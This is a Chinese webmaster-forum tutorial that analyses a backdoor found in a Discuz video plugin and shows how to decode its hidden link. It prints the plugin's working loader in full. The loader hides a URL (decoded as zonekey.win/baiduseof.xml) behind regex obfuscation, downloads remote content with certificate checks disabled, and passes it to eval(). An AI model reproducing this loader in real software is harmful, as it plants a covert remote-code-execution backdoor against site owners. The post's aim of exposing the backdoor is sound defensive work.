2核1G3M服务器88一季度

腾讯云,阿里云百度云等 折扣价→点我←

使用php正则httpABc模糊调用远端链接的preg_replace转化解码方法 discuz 教程

游客1 游客组

我们以[西风]视频中心插件为例:
路径:\jameson_sp\function\function_jamesonsp.php
其中:
function z_jameson_sp() {
   $lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';
   $svip= preg_replace(array("/`.*?`/","/abc/i","/[A-Z_].*[A-Z_]/"),array(".","://","/"),$lover);
   if(function_exists('file_get_contents'))
           {
          $data = file_get_contents($svip);
           } elseif (function_exists('curl_init')) {
              $ch = curl_init();
             $timeout = 5;
              curl_setopt($ch, CURLOPT_URL,$svip);
              curl_setopt($ch, CURLOPT_HEADER,0);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
              curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
              curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
              curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
                 $data = curl_exec($ch);
                     curl_close($ch);
               }
                       return $data;
               }
       if(function_exists('curl_init')||function_exists('file_get_contents'))eval(z_jameson_sp());
我们看到,

$lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';
使用正在进行了调用远端链接进行了地址模糊处理,
我们可以使用以下方法解码出来:

<?php

$lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';
echo preg_replace(array("/`.*?`/","/abc/i","/[A-Z_].*[A-Z_]/"),array(".","://","/"),$lover);

?>


转码后结果为:
http://zonekey.win/baiduseof.xml



站长窝论坛版权声明 1、本帖标题:使用php正则httpABc模糊调用远端链接的preg_replace转化解码方法
2、论坛网址:站长窝论坛
3、站长窝论坛的资源部分来源于网络,如有侵权,请联系站长进行删除处理。
4、会员发帖仅代表会员个人观点,并不代表本站赞同其观点和对其真实性负责。
5、站长窝论坛一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6、本帖由游客1在站长窝论坛《程序综合区》版块原创发布, 转载请注明出处!
评论
最新回复 (0)
返回
发新帖